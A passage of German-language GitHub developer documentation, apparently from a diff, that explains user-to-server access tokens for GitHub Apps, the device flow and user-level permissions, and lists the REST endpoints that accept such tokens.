+Standardmäßig weist die Antwort das folgende Format auf. Die Antwortparameter `expires_in`, `refresh_token` und `refresh_token_expires_in` werden nur zurückgegeben, wenn du ablaufende Benutzer-zu-Server-Zugriffstoken aktivierst.
+
+```json
+{
+  "access_token": "ghu_16C7e42F292c6912E7710c838347Ae178B4a",
+  "expires_in": 28800,
+  "refresh_token": "ghr_1B4a2e77838347a7E420ce178F2E7c6912E169246c34E1ccbF66C46812d16D5B1A9Dc86A1498",
+  "refresh_token_expires_in": 15811200,
+  "scope": "",
+  "token_type": "bearer"
+}
+```
+
+### 3. Die GitHub-App greift mit dem Zugriffstoken des Benutzers auf die API zu.
+
+Das Zugriffstoken des Benutzers ermöglicht es der GitHub-App, Anforderungen im Auftrag eines Benutzers an die API zu senden.
+
+    Authorization: Bearer OAUTH-TOKEN
+    GET {% data variables.product.api_url_code %}/user
+
+In curl kannst du beispielsweise den Autorisierungsheader wie folgt festlegen:
+
+```shell
+curl -H "Authorization: Bearer OAUTH-TOKEN" {% data variables.product.api_url_pre %}/user
+```
+
+## Gerätefluss
+
+{% note %}
+
+**Hinweis:** Der Gerätefluss befindet sich in der öffentlichen Betaversion und kann geändert werden.
+
+{% endnote %}
+
+Mit dem Gerätefluss kannst du Benutzer*innen für eine monitorlose App autorisieren, z. B. ein CLI-Tool oder Git Credential Manager.
+
+{% ifversion device-flow-is-opt-in %}Bevor du den Gerätefluss verwenden kannst, um Benutzer*innen zu identifizieren und zu autorisieren, musst du ihn zuerst in den Einstellungen der App aktivieren. Weitere Informationen zum Aktivieren des Geräteflusses findest du unter [Ändern einer GitHub-App](/developers/apps/managing-github-apps/modifying-a-github-app). {% endif %}Weitere Informationen zum Autorisieren von Benutzer*innen mit dem Gerätefluss findest du unter [Autorisieren von OAuth-Apps](/developers/apps/authorizing-oauth-apps#device-flow).
+
+## Überprüfen, auf welche Ressourcen der Installation ein Benutzer zugreifen kann
+
+Sobald du über ein OAuth-Token für einen Benutzer oder eine Benutzerin verfügst, kannst du überprüfen, auf welche Installationen er oder sie zugreifen kann.
+
+    Authorization: Bearer OAUTH-TOKEN
+    GET /user/installations
+
+Du kannst auch überprüfen, welche Repositorys für Benutzer*innen zum Installieren zugänglich sind.
+
+    Authorization: Bearer OAUTH-TOKEN
+    GET /user/installations/:installation_id/repositories
+
+Weitere Details findest du unter [Auflisten der für das Benutzerzugriffstoken zugänglichen App-Installationen](/rest/apps#list-app-installations-accessible-to-the-user-access-token) und [Auflisten der für das Benutzerzugriffstoken zugänglichen Repositorys](/rest/apps#list-repositories-accessible-to-the-user-access-token).
+
+## Behandeln einer widerrufenen GitHub-App-Autorisierung
+
+Wenn ein Benutzer die Autorisierung einer GitHub-App widerruft, erhält die App standardmäßig den [`github_app_authorization`](/webhooks/event-payloads/#github_app_authorization)-Webhook. GitHub-Apps können sich nicht von diesem Ereignis abmelden. {% data reusables.webhooks.authorization_event %}
+
+## Berechtigungen auf Benutzerebene
+
+Du kannst der GitHub-App Berechtigungen auf Benutzerebene für den Zugriff auf Benutzerressourcen hinzufügen, z. B. auf E-Mails, die von einzelnen Benutzer*innen als Teil des [Benutzerberechtigungsflusses](#identifying-users-on-your-site) gewährt werden. Berechtigungen auf Benutzerebene unterscheiden sich von [Berechtigungen auf Repository- und Organisationsebene](/rest/overview/permissions-required-for-github-apps), die zum Zeitpunkt der Installation für eine Organisation oder ein persönliches Konto gewährt werden.
+
+Du kannst Berechtigungen auf Benutzerebene in den Einstellungen der GitHub-App auf der Seite **Berechtigungen und Webhooks** im Abschnitt **Benutzerberechtigungen** auswählen. Weitere Informationen zum Auswählen von Berechtigungen findest du unter [Bearbeiten der Berechtigungen einer GitHub-App](/apps/managing-github-apps/editing-a-github-app-s-permissions/).
+
+Wenn Benutzer*innen deine App mit ihrem Konto installieren, werden in der Installationsaufforderung die Berechtigungen auf Benutzerebene aufgelistet, die von der App angefordert werden. Außerdem wird erläutert, dass einzelne Benutzer*innen von der App nach diesen Berechtigungen gefragt werden können.
+
+Da Berechtigungen auf Benutzerebene für einzelne Benutzer*innen gewährt werden, kannst du diese der vorhandenen App hinzufügen, ohne Benutzer*innen zum Upgrade aufzufordern. Du musst vorhandene Benutzer*innen jedoch den Benutzerberechtigungsfluss durchlaufen lassen, um die neue Berechtigung zu autorisieren und ein neues Benutzer-zu-Server-Token für diese Anforderungen abzurufen.
+
+## Benutzer-zu-Server-Anforderungen
+
+Während der Großteil der API-Interaktion unter Verwendung der Server-zu-Server-Zugriffstoken für die Installation erfolgen sollte, lassen es bestimmte Endpunkte zu, dass du Aktionen über die API mithilfe eines Benutzerzugriffstokens ausführst. Von der App können die folgenden Anforderungen mithilfe der [GraphQL](/graphql)- oder [REST](/rest)-Endpunkte durchgeführt werden.
+
+### Unterstützte Endpunkte
+
+{% ifversion fpt or ghec %}
+#### Runner für Aktionen
+
+* [Auflisten von Runneranwendungen für ein Repository](/rest/actions#list-runner-applications-for-a-repository)
+* [Auflisten selbstgehosteter Runner für ein Repository](/rest/actions#list-self-hosted-runners-for-a-repository)
+* [Abrufen eines selbstgehosteten Runners für ein Repository](/rest/actions#get-a-self-hosted-runner-for-a-repository)
+* [Löschen eines selbstgehosteten Runners aus einem Repository](/rest/actions#delete-a-self-hosted-runner-from-a-repository)
+* [Erstellen eines Registrierungstokens für ein Repository](/rest/actions#create-a-registration-token-for-a-repository)
+* [Erstellen eines Entfernungstokens für ein Repository](/rest/actions#create-a-remove-token-for-a-repository)
+* [Auflisten von Runneranwendungen für eine Organisation](/rest/actions#list-runner-applications-for-an-organization)
+* [Auflisten selbstgehosteter Runner für eine Organisation](/rest/actions#list-self-hosted-runners-for-an-organization)
+* [Abrufen eines selbstgehosteten Runners für eine Organisation](/rest/actions#get-a-self-hosted-runner-for-an-organization)
+* [Löschen eines selbstgehosteten Runners von einer Organisation](/rest/actions#delete-a-self-hosted-runner-from-an-organization)
+* [Erstellen eines Registrierungstokens für eine Organisation](/rest/actions#create-a-registration-token-for-an-organization)
+* [Erstellen eines Entfernungstokens für eine Organisation](/rest/actions#create-a-remove-token-for-an-organization)
+
+#### Geheimnisse für Aktionen
+
+* [Abrufen eines öffentlichen Schlüssels für ein Repository](/rest/actions#get-a-repository-public-key)
+* [Auflisten von geheimen Repositoryschlüsseln](/rest/actions#list-repository-secrets)
+* [Abrufen eines geheimen Repositoryschlüssels](/rest/actions#get-a-repository-secret)
+* [Erstellen oder Aktualisieren eines geheimen Repositoryschlüssels](/rest/actions#create-or-update-a-repository-secret)
+* [Löschen eines geheimen Repositoryschlüssels](/rest/actions#delete-a-repository-secret)
+* [Abrufen eines öffentlichen Schlüssels für eine Organisation](/rest/actions#get-an-organization-public-key)
+* [Auflisten von geheimen Organisationsschlüsseln](/rest/actions#list-organization-secrets)
+* [Abrufen eines geheimen Organisationsschlüssels](/rest/actions#get-an-organization-secret)
+* [Erstellen oder Aktualisieren eines geheimen Organisationsschlüssels](/rest/actions#create-or-update-an-organization-secret)
+* [Auflisten ausgewählter Repositorys für einen geheimen Organisationsschlüssel](/rest/actions#list-selected-repositories-for-an-organization-secret)
+* [Festlegen ausgewählter Repositorys für einen geheimen Organisationsschlüssel](/rest/actions#set-selected-repositories-for-an-organization-secret)
+* [Hinzufügen ausgewählter Repositorys für einen geheimen Organisationsschlüssel](/rest/actions#add-selected-repository-to-an-organization-secret)
+* [Entfernen ausgewählter Repositorys von einem geheimen Organisationsschlüssel](/rest/actions#remove-selected-repository-from-an-organization-secret)
+* [Löschen eines geheimen Organisationsschlüssels](/rest/actions#delete-an-organization-secret) {% endif %}
+
+{% ifversion fpt or ghec %}
+#### Artifacts
+
+* [Auflisten von Artefakten für ein Repository](/rest/actions#list-artifacts-for-a-repository)
+* [Auflisten von Artefakten für Workflowausführungen](/rest/actions#list-workflow-run-artifacts)
+* [Abrufen eines Artefakts](/rest/actions#get-an-artifact)
+* [Löschen eines Artefakts](/rest/actions#delete-an-artifact)
+* [Herunterladen eines Artefaktes](/rest/actions#download-an-artifact) {% endif %}
+
+#### Überprüfungsausführungen
+
+* [Erstellen einer Überprüfungsausführung](/rest/checks#create-a-check-run)
+* [Abrufen einer Überprüfungsausführung](/rest/checks#get-a-check-run)
+* [Aktualisieren einer Überprüfungsausführung](/rest/checks#update-a-check-run)
+* [Auflisten von Anmerkungen von Überprüfungsausführungen](/rest/checks#list-check-run-annotations)
+* [Auflisten von Überprüfungsausführungen in einer Überprüfungssammlung](/rest/checks#list-check-runs-in-a-check-suite)
+* [Auflisten von Überprüfungsausführungen für einen Git-Verweis](/rest/checks#list-check-runs-for-a-git-reference)
+
+#### Prüfsuiten
+
+* [Erstellen einer Überprüfungssammlung](/rest/checks#create-a-check-suite)
+* [Abrufen einer Überprüfungssammlung](/rest/checks#get-a-check-suite)
+* [Anfordern einer Überprüfungssammlung](/rest/checks#rerequest-a-check-suite)
+* [Aktualisieren von Repositoryeinstellungen für Überprüfungssamlungen](/rest/checks#update-repository-preferences-for-check-suites)
+* [Auflisten von Überprüfungssammlungen für einen Git-Verweis](/rest/checks#list-check-suites-for-a-git-reference)
+
+#### Verhaltensregeln
+
+* [Abrufen aller Verhaltensregeln](/rest/codes-of-conduct#get-all-codes-of-conduct)
+* [Abrufen einer Verhaltensregel](/rest/codes-of-conduct#get-a-code-of-conduct)
+
+#### Bereitstellungsstatus
+
+* [Auflisten von Bereitstellungsstatus](/rest/deployments#list-deployment-statuses)
+* [Erstellen eines Bereitstellungsstatus](/rest/deployments#create-a-deployment-status)
+* [Abrufen eines Bereitstellungsstatus](/rest/deployments#get-a-deployment-status)
+
+#### Bereitstellungen
+
+* [Auflisten von Bereitstellungen](/rest/deployments#list-deployments)
+* [Erstellen einer Bereitstellung](/rest/deployments#create-a-deployment)
+* [Abrufen einer Bereitstellung](/rest/deployments#get-a-deployment)
+* [Löschen einer Bereitstellung](/rest/deployments#delete-a-deployment)
+
+#### Ereignisse
+
+* [Auflisten öffentlicher Ereignisse für ein Netzwerk von Repositorys](/rest/activity#list-public-events-for-a-network-of-repositories)
+* [Auflisten öffentlicher Organisationsereignisse](/rest/activity#list-public-organization-events)
+
+#### Feeds
+
+* [Abrufen von Feeds](/rest/activity#get-feeds)
+
+#### Git-Blobs
+
+* [Erstellen eines Blobs](/rest/git#create-a-blob)
+* [Abrufen eines Blobs](/rest/git#get-a-blob)
+
+#### Git-Commits
+
+* [Erstellen eines Commits](/rest/git#create-a-commit)
+* [Abrufen eines Commits](/rest/git#get-a-commit)
+
+#### Git-Verweise
+
+* [Erstellen eines Verweises](/rest/git#create-a-reference)
+* [Abrufen eines Verweises](/rest/git#get-a-reference)
+* [Auflisten übereinstimmender Verweise](/rest/git#list-matching-references)
+* [Aktualisieren eines Verweises](/rest/git#update-a-reference)
+* [Löschen eines Verweises](/rest/git#delete-a-reference)
+
+#### Git-Tags
+
+* [Erstellen eines Tagobjekts](/rest/git#create-a-tag-object)
+* [Abrufen eines Tags](/rest/git#get-a-tag)
+
+#### Git-Strukturen
+
+* [Erstellen einer Struktur](/rest/git#create-a-tree)
+* [Abrufen einer Struktur](/rest/git#get-a-tree)
+
+#### Gitignore-Vorlagen
+
+* [Abrufen aller gitignore-Vorlagen](/rest/gitignore#get-all-gitignore-templates)
+* [Abrufen einer gitignore-Vorlage](/rest/gitignore#get-a-gitignore-template)
+
+#### Installationen
+
+* [Auflisten von Repositorys, die für das Benutzerzugriffstoken zugänglich sind](/rest/apps#list-repositories-accessible-to-the-user-access-token)
+
+{% ifversion fpt or ghec %}
+#### Interaktionsgrenzwerte
+
+* [Abrufen von Interaktionseinschränkungen für eine Organisation](/rest/interactions#get-interaction-restrictions-for-an-organization)
+* [Festlegen von Interaktionseinschränkungen für eine Organisation](/rest/interactions#set-interaction-restrictions-for-an-organization)
+* [Entfernen von Interaktionseinschränkungen für eine Organisation](/rest/interactions#remove-interaction-restrictions-for-an-organization)
+* [Abrufen von Interaktionseinschränkungen für ein Repository](/rest/interactions#get-interaction-restrictions-for-a-repository)
+* [Festlegen von Interaktionseinschränkungen für ein Repository](/rest/interactions#set-interaction-restrictions-for-a-repository)
+* [Entfernen von Interaktionseinschränkungen für ein Repository](/rest/interactions#remove-interaction-restrictions-for-a-repository) {% endif %}
+
+#### Issues zugewiesene Personen
+
+* [Hinzufügen von zugewiesenen Personen zu einem Issue](/rest/issues#add-assignees-to-an-issue)
+* [Entfernen von zugewiesenen Personen von einem Issue](/rest/issues#remove-assignees-from-an-issue)
+
+#### Issue-Kommentare
+
+* [Auflisten von Issue-Komponenten](/rest/issues#list-issue-comments)
+* [Erstellen eines Issue-Kommentars](/rest/issues#create-an-issue-comment)
+* [Auflisten von Issue-Kommentaren für ein Repository](/rest/issues#list-issue-comments-for-a-repository)
+* [Abrufen eines Issue-Kommentars](/rest/issues#get-an-issue-comment)
+* [Aktualisieren eines Issue-Kommentars](/rest/issues#update-an-issue-comment)
+* [Löschen eines Issue-Kommentars](/rest/issues#delete-an-issue-comment)
+
+#### Issue-Ereignisse
+
+* [Auflisten von Issue-Ereignissen](/rest/issues#list-issue-events)
+
+#### Issue-Zeitachse
+
+* [Auflisten von Zeitachsenereignissen für ein Issue](/rest/issues#list-timeline-events-for-an-issue)
+
+#### Probleme
+
+* [Auflisten der dem authentifizierten Benutzer zugewiesenen Issues](/rest/issues#list-issues-assigned-to-the-authenticated-user)
+* [Auflisten der zugewiesenen Personen](/rest/issues#list-assignees)
+* [Überprüfen, ob ein Benutzer zugewiesen werden kann](/rest/issues#check-if-a-user-can-be-assigned)
+* [Auflisten von Repository-Issues](/rest/issues#list-repository-issues)
+* [Ausgabe erstellen](/rest/issues#create-an-issue)
+* [Abrufen eines Issues](/rest/issues#get-an-issue)
+* [Aktualisieren eines Issues](/rest/issues#update-an-issue)
+* [Sperren eines Issues](/rest/issues#lock-an-issue)
+* [Entsperren eines Issues](/rest/issues#unlock-an-issue)
+
+{% ifversion fpt or ghec %}
+#### Aufträge
+
+* [Abrufen eines Auftrags für eine Workflowausführung](/rest/actions#get-a-job-for-a-workflow-run)
+* [Herunterladen von Auftragsprotokollen für eine Workflowausführung](/rest/actions#download-job-logs-for-a-workflow-run)
+* [Auflisten von Aufträgen für eine Workflowausführung](/rest/actions#list-jobs-for-a-workflow-run) {% endif %}
+
+#### Bezeichnungen
+
+* [Auflisten von Bezeichnungen für ein Issue](/rest/issues#list-labels-for-an-issue)
+* [Hinzufügen von Bezeichnungen zu einem Issue](/rest/issues#add-labels-to-an-issue)
+* [Festlegen von Bezeichnungen für ein Issue](/rest/issues#set-labels-for-an-issue)
+* [Entfernen aller Bezeichnungen aus einem Issue](/rest/issues#remove-all-labels-from-an-issue)
+* [Entfernen einer Bezeichnung aus einem Issue](/rest/issues#remove-a-label-from-an-issue)
+* [Auflisten von Bezeichnungen für ein Repository](/rest/issues#list-labels-for-a-repository)
+* [Erstellen einer Bezeichnung](/rest/issues#create-a-label)
+* [Abrufen einer Bezeichnung](/rest/issues#get-a-label)
+* [Aktualisieren einer Bezeichnung](/rest/issues#update-a-label)
+* [Löschen einer Bezeichnung](/rest/issues#delete-a-label)
+* [Abrufen von Bezeichnungen für jedes Issue in einem Meilenstein](/rest/issues#list-labels-for-issues-in-a-milestone)
+
+#### Lizenzen
+
+* [Abrufen aller häufig verwendeten Lizenzen](/rest/licenses#get-all-commonly-used-licenses)
+* [Abrufen einer Lizenz](/rest/licenses#get-a-license)
+
+#### Markdown
+
+* [Rendern eines Markdowndokuments](/rest/markdown#render-a-markdown-document)
+* [Rendern eines Markdowndokuments im Rohmodus](/rest/markdown#render-a-markdown-document-in-raw-mode)
+
+#### Meta
+
+* [Meta](/rest/meta#meta)
+
+#### Meilensteine
+
+* [Auflisten von Meilensteinen](/rest/issues#list-milestones)
+* [Erstellen eines Meilensteins](/rest/issues#create-a-milestone)
+* [Abrufen eines Meilensteins](/rest/issues#get-a-milestone)
+* [Aktualisieren eines Meilensteins](/rest/issues#update-a-milestone)
+* [Löschen eines Meilensteins](/rest/issues#delete-a-milestone)
+
+#### Organisationshooks
+
+* [Auflisten von Organisationswebhooks](/rest/orgs#webhooks/#list-organization-webhooks)
+* [Erstellen eines Organisationswebhooks](/rest/orgs#webhooks/#create-an-organization-webhook)
+* [Abrufen eines Organisationswebhooks](/rest/orgs#webhooks/#get-an-organization-webhook)
+* [Aktualisieren eines Organisationswebhooks](/rest/orgs#webhooks/#update-an-organization-webhook)
+* [Löschen eines Organisationswebhooks](/rest/orgs#webhooks/#delete-an-organization-webhook)
+* [Pingen eines Organisationswebhooks](/rest/orgs#webhooks/#ping-an-organization-webhook)
+
+{% ifversion fpt or ghec %}
+#### Organisationseinladungen
+
+* [Auflisten ausstehender Organisationseinladungen](/rest/orgs#list-pending-organization-invitations)
+* [Auflisten einer Organisationseinladung](/rest/orgs#create-an-organization-invitation)
+* [Auflisten von Organisationseinladungsteams](/rest/orgs#list-organization-invitation-teams) {% endif %}
+
+#### Organisationsmitglieder
+
+* [Auflisten von Organisationsmitgliedern](/rest/orgs#list-organization-members)
+* [Überprüfen der Organisationsmitgliedschaft für einen Benutzer](/rest/orgs#check-organization-membership-for-a-user)
+* [Entfernen eines Organisationsmitglieds](/rest/orgs#remove-an-organization-member)
+* [Abrufen der Organisationsmitgliedschaft für einen Benutzer](/rest/orgs#get-organization-membership-for-a-user)
+* [Festlegen der Organisationsmitgliedschaft für einen Benutzer](/rest/orgs#set-organization-membership-for-a-user)
+* [Entfernen der Organisationsmitgliedschaft für einen Benutzer](/rest/orgs#remove-organization-membership-for-a-user)
+* [Auflisten öffentlicher Organisationsmitglieder](/rest/orgs#list-public-organization-members)
+* [Überprüfen der Organisationsmitgliedschaft für einen Benutzer](/rest/orgs#check-public-organization-membership-for-a-user)
+* [Festlegen der öffentlichen Organisationsmitgliedschaft für den authentifizierten Benutzer](/rest/orgs#set-public-organization-membership-for-the-authenticated-user)
+* [Entfernen der öffentlichen Organisationsmitgliedschaft für den authentifizierten Benutzer](/rest/orgs#remove-public-organization-membership-for-the-authenticated-user)
+
+#### Projektmitarbeiter außerhalb der Organisation
+
+* [Auflisten von externen Projektmitarbeitern für eine Organisation](/rest/orgs#list-outside-collaborators-for-an-organization)
+* [Umwandeln eines Organisationsmitglieds in einen externen Projektmitarbeiter](/rest/orgs#convert-an-organization-member-to-outside-collaborator)
+* [Entfernen eines externen Projektmitarbeiters aus einer Organisation](/rest/orgs#remove-outside-collaborator-from-an-organization)
+
+{% ifversion ghes %}
+#### Pre-Receive-Hooks für eine Organisation
+
+* [Auflisten von Pre-Receive-Hooks für eine Organisation](/enterprise/user/rest/reference/enterprise-admin#list-pre-receive-hooks-for-an-organization)
+* [Abrufen eines Pre-Receive-Hooks für eine Organisation](/enterprise/user/rest/reference/enterprise-admin#get-a-pre-receive-hook-for-an-organization)
+* [Aktualisieren der Erzwingung eines Pre-Receive-Hooks für eine Organisation](/enterprise/user/rest/reference/enterprise-admin#update-pre-receive-hook-enforcement-for-an-organization)
+* [Entfernen der Erzwingung eines Pre-Receive-Hooks für eine Organisation](/enterprise/user/rest/reference/enterprise-admin#remove-pre-receive-hook-enforcement-for-an-organization) {% endif %}
+
+#### Teamprojekte einer Organisation
+
+* [Auflisten von Teamprojekten](/rest/teams#list-team-projects)
+* [Überprüfen der Teamberechtigungen für ein Projekt](/rest/teams#check-team-permissions-for-a-project)
+* [Hinzufügen oder Aktualisieren von Teamprojektberechtigungen](/rest/teams#add-or-update-team-project-permissions)
+* [Entfernen eines Projekts aus einem Team](/rest/teams#remove-a-project-from-a-team)
+
+#### Teamrepositorys einer Organisation
+
+* [Auflisten von Teamrepositorys](/rest/teams#list-team-repositories)
+* [Überprüfen der Teamberechtigungen für ein Repository](/rest/teams#check-team-permissions-for-a-repository)
+* [Hinzufügen oder Aktualisieren von Berechtigungen für Teamrepositorys](/rest/teams#add-or-update-team-repository-permissions)
+* [Entfernen eines Repositorys aus einem Team](/rest/teams#remove-a-repository-from-a-team)
+
+{% ifversion fpt or ghec %}
+#### Teamsynchronisierung für eine Organisation
+
+* [Auflisten von IdP-Gruppen für ein Team](/rest/teams#list-idp-groups-for-a-team)
+* [Erstellen oder Aktualisieren von IdP-Gruppenverbindungen](/rest/teams#create-or-update-idp-group-connections)
+* [Auflisten von IdP-Gruppen für eine Organisation](/rest/teams#list-idp-groups-for-an-organization) {% endif %}
+
+#### Organisationsteams
+
+* [Auflisten von Teams](/rest/teams#list-teams)
+* [Zusammenstellen eines Teams](/rest/teams#create-a-team)
+* [Abrufen eines Teams nach Namen](/rest/teams#get-a-team-by-name)
+* [Aktualisieren eines Teams](/rest/teams#update-a-team)
+* [Löschen eines Teams](/rest/teams#delete-a-team) {% ifversion fpt or ghec %}
+* [Auflisten ausstehender Teameinladungen](/rest/teams#list-pending-team-invitations) {% endif %}
+* [Auflisten von Teammitgliedern](/rest/teams#list-team-members)
+* [Abrufen der Teammitgliedschaft für einen Benutzer](/rest/teams#get-team-membership-for-a-user)
+* [Hinzufügen oder Aktualisieren der Teammitgliedschaft für einen Benutzer](/rest/teams#add-or-update-team-membership-for-a-user)
+* [Entfernen der Teammitgliedschaft für einen Benutzer](/rest/teams#remove-team-membership-for-a-user)
+* [Auflisten untergeordneter Teams](/rest/teams#list-child-teams)
+* [Auflisten von Teams für den authentifizierten Benutzer](/rest/teams#list-teams-for-the-authenticated-user)
+
+#### Organisationen
+
+* [Auflisten von Organisationen](/rest/orgs#list-organizations)
+* [Abrufen einer Organisation](/rest/orgs#get-an-organization)
+* [Aktualisieren einer Organisation](/rest/orgs#update-an-organization)
+* [Auflisten von Organisationsmitgliedschaften für den authentifizierten Benutzer](/rest/orgs#list-organization-memberships-for-the-authenticated-user)
+* [Abrufen der Organisationsmitgliedschaft für den authentifizierten Benutzer](/rest/orgs#get-an-organization-membership-for-the-authenticated-user)
+* [Aktualisieren der Organisationsmitgliedschaft für den authentifizierten Benutzer](/rest/orgs#update-an-organization-membership-for-the-authenticated-user)
+* [Auflisten von Organisationen für den authentifizierten Benutzer](/rest/orgs#list-organizations-for-the-authenticated-user)
+* [Auflisten von Organisationen für einen Benutzer](/rest/orgs#list-organizations-for-a-user)
+
+{% ifversion fpt or ghec %}
+#### Autorisierungen von Anmeldeinformationen in Organisationen
+
+* [Auflisten von SAML-SSO-Autorisierungen für eine Organisation](/rest/orgs#list-saml-sso-authorizations-for-an-organization)
+* [Entfernen einer SAML-SSO-Autorisierung für eine Organisation](/rest/orgs#remove-a-saml-sso-authorization-for-an-organization) {% endif %}
+
+{% ifversion fpt or ghec %}
+#### SCIM in Organisationen
+
+* [Auflisten von gemäß SCIM bereitgestellten Identitäten](/rest/scim#list-scim-provisioned-identities)
+* [Bereitstellen und Einladen eines SCIM-Benutzers](/rest/scim#provision-and-invite-a-scim-user)
+* [Abrufen von SCIM-Bereitstellungsinformationen für einen Benutzer](/rest/scim#get-scim-provisioning-information-for-a-user)
+* [Festlegen von SCIM-Informationen für einen bereitgestellten Benutzer](/rest/scim#set-scim-information-for-a-provisioned-user)
+* [Aktualisieren eines Attributs für einen SCIM-Benutzer](/rest/scim#update-an-attribute-for-a-scim-user)
+* [Löschen eines SCIM-Benutzers aus einer Organisation](/rest/scim#delete-a-scim-user-from-an-organization) {% endif %}
+
+{% ifversion fpt or ghec %}
+#### Quellimporte
+
+* [Abrufen eines Importstatus](/rest/migrations#get-an-import-status)
+* [Starten eines Imports](/rest/migrations#start-an-import)
+* [Aktualisieren eines Imports](/rest/migrations#update-an-import)
+* [Abbrechen eines Imports](/rest/migrations#cancel-an-import)
+* [Abrufen von Commitautoren](/rest/migrations#get-commit-authors)
+* [Zuordnen eines Commitautors](/rest/migrations#map-a-commit-author)
+* [Abrufen großer Dateien](/rest/migrations#get-large-files)
+* [Aktualisieren der Git LFS-Einstellung](/rest/migrations#update-git-lfs-preference) {% endif %}
+
+#### Projektmitarbeiter
+
+* [Auflisten von Projektmitarbeitern](/rest/projects#list-project-collaborators)
+* [Hinzufügen eines Projektmitarbeiters](/rest/projects#add-project-collaborator)
+* [Entfernen eines Projektmitarbeiters](/rest/projects#remove-project-collaborator)
+* [Abrufen der Projektberechtigung für einen Benutzer](/rest/projects#get-project-permission-for-a-user)
+
+#### Projekte
+
+* [Auflisten von Organisationsprojekten](/rest/projects#list-organization-projects)
+* [Erstellen eines Organisationsprojekts](/rest/projects#create-an-organization-project)
+* [Abrufen eines Projekts](/rest/projects#get-a-project)
+* [Aktualisieren eines Projekts](/rest/projects#update-a-project)
+* [Löschen eines Projekts](/rest/projects#delete-a-project)
+* [Auflisten von Projektspalten](/rest/projects#list-project-columns)
+* [Auflisten einer Projektspalte](/rest/projects#create-a-project-column)
+* [Abrufen einer Projektspalte](/rest/projects#get-a-project-column)
+* [Aktualisieren einer Projektspalte](/rest/projects#update-a-project-column)
+* [Löschen einer Projektspalte](/rest/projects#delete-a-project-column)
+* [Auflisten von Projektkarten](/rest/projects#list-project-cards)
+* [Erstellen einer Projektkarte](/rest/projects#create-a-project-card)
+* [Verschieben einer Projektspalte](/rest/projects#move-a-project-column)
+* [Abrufen einer Projektkarte](/rest/projects#get-a-project-card)
+* [Aktualisieren einer Projektkarte](/rest/projects#update-a-project-card)
+* [Löschen einer Projektkarte](/rest/projects#delete-a-project-card)
+* [Verschieben einer Projektkarte](/rest/projects#move-a-project-card)
+* [Auflisten von Repositoryprojekten](/rest/projects#list-repository-projects)
+* [Erstellen eines Repositoryprojekts](/rest/projects#create-a-repository-project)
+
+#### Pullkommentare
+
+* [Auflisten von Überprüfungskommentaren zu einem Pull Request](/rest/pulls#list-review-comments-on-a-pull-request)
+* [Erstellen eines Überprüfungskommentars für einen Pull Request](/rest/pulls#create-a-review-comment-for-a-pull-request)
+* [Auflisten von Überprüfungskommentaren in einem Repository](/rest/pulls#list-review-comments-in-a-repository)
+* [Abrufen eines Überprüfungskommentars für einen Pull Request](/rest/pulls#get-a-review-comment-for-a-pull-request)
+* [Aktualisieren eines Überprüfungskommentars für einen Pull Request](/rest/pulls#update-a-review-comment-for-a-pull-request)
+* [Löschen eines Überprüfungskommentars für einen Pull Request](/rest/pulls#delete-a-review-comment-for-a-pull-request)
+
+#### Überprüfungsereignisse für Pull Requests
+
+* [Schließen einer Überprüfung für einen Pull Request](/rest/pulls#dismiss-a-review-for-a-pull-request)
+* [Übermitteln einer Überprüfung für einen Pull Request](/rest/pulls#submit-a-review-for-a-pull-request)
+
+#### Überprüfungsanforderungen für Pull Requests
+
+* [Auflisten angeforderter Prüfer für einen Pull Request](/rest/pulls#list-requested-reviewers-for-a-pull-request)
+* [Anfordern von Prüfern für einen Pull Request](/rest/pulls#request-reviewers-for-a-pull-request)
+* [Entfernen angeforderter Prüfer aus einem Pull Request](/rest/pulls#remove-requested-reviewers-from-a-pull-request)
+
+#### Prüfer von Pull Requests
+
+* [Auflisten von Prüfungen für einen Pull Request](/rest/pulls#list-reviews-for-a-pull-request)
+* [Erstellen einer Überprüfung für einen Pull Request](/rest/pulls#create-a-review-for-a-pull-request)
+* [Abrufen einer Überprüfung für einen Pull Request](/rest/pulls#get-a-review-for-a-pull-request)
+* [Aktualisieren einer Überprüfung für einen Pull Request](/rest/pulls#update-a-review-for-a-pull-request)
+* [Auflisten von Kommentaren für eine Überprüfung eines Pull Requests](/rest/pulls#list-comments-for-a-pull-request-review)
+
+#### Pulls
+
+* [Auflisten von Pull Requests](/rest/pulls#list-pull-requests)
+* [Erstellen eines Pull Requests](/rest/pulls#create-a-pull-request)
+* [Abrufen eines Pull Requests](/rest/pulls#get-a-pull-request)
+* [Aktualisieren eines Pull Requests](/rest/pulls#update-a-pull-request)
+* [Auflisten von Commits in einem Pull Request](/rest/pulls#list-commits-on-a-pull-request)
+* [Auflisten von Pull-Request-Dateien](/rest/pulls#list-pull-requests-files)
+* [Überprüfen, ob ein Pull Request zusammengeführt wurde](/rest/pulls#check-if-a-pull-request-has-been-merged)
+* [Zusammenführen eines Pull Requests (Schaltfläche „Zusammenführen“)](/rest/pulls#merge-a-pull-request)
+
+#### Reaktionen
+
+* [Löschen einer Reaktion](/rest/reactions)
+* [Auflisten von Reaktionen für einen Commitkommentar](/rest/reactions#list-reactions-for-a-commit-comment)
+* [Erstellen einer Reaktionen für einen Commitkommentar](/rest/reactions#create-reaction-for-a-commit-comment)
+* [Auflisten von Reaktionen für ein Issue](/rest/reactions#list-reactions-for-an-issue)
+* [Erstellen einer Reaktionen für ein Issue](/rest/reactions#create-reaction-for-an-issue)
+* [Auflisten von Reaktionen für einen Issuekommentar](/rest/reactions#list-reactions-for-an-issue-comment)
+* [Erstellen einer Reaktion für einen Issuekommentar](/rest/reactions#create-reaction-for-an-issue-comment)
+* [Auflisten von Reaktionen für einen Überprüfungskommentar für einen Pull Request](/rest/reactions#list-reactions-for-a-pull-request-review-comment)
+* [Erstellen einer Reaktion für einen Überprüfungskommentar für einen Pull Request](/rest/reactions#create-reaction-for-a-pull-request-review-comment)
+* [Auflisten von Reaktionen für einen Teamdiskussionskommentar](/rest/reactions#list-reactions-for-a-team-discussion-comment)
+* [Erstellen einer Reaktion für einen Teamdiskussionskommentar](/rest/reactions#create-reaction-for-a-team-discussion-comment)
+* [Auflisten von Reaktionen für eine Teamdiskussion](/rest/reactions#list-reactions-for-a-team-discussion)
+* [Erstellen einer Reaktion auf eine Teamdiskussion](/rest/reactions#create-reaction-for-a-team-discussion)
+* [Löschen einer Reaktion für einen Commitkommentar](/rest/reactions#delete-a-commit-comment-reaction)
+* [Löschen einer Issue-Reaktion](/rest/reactions#delete-an-issue-reaction)
+* [Löschen einer Reaktion auf einen Commitkommentar](/rest/reactions#delete-an-issue-comment-reaction)
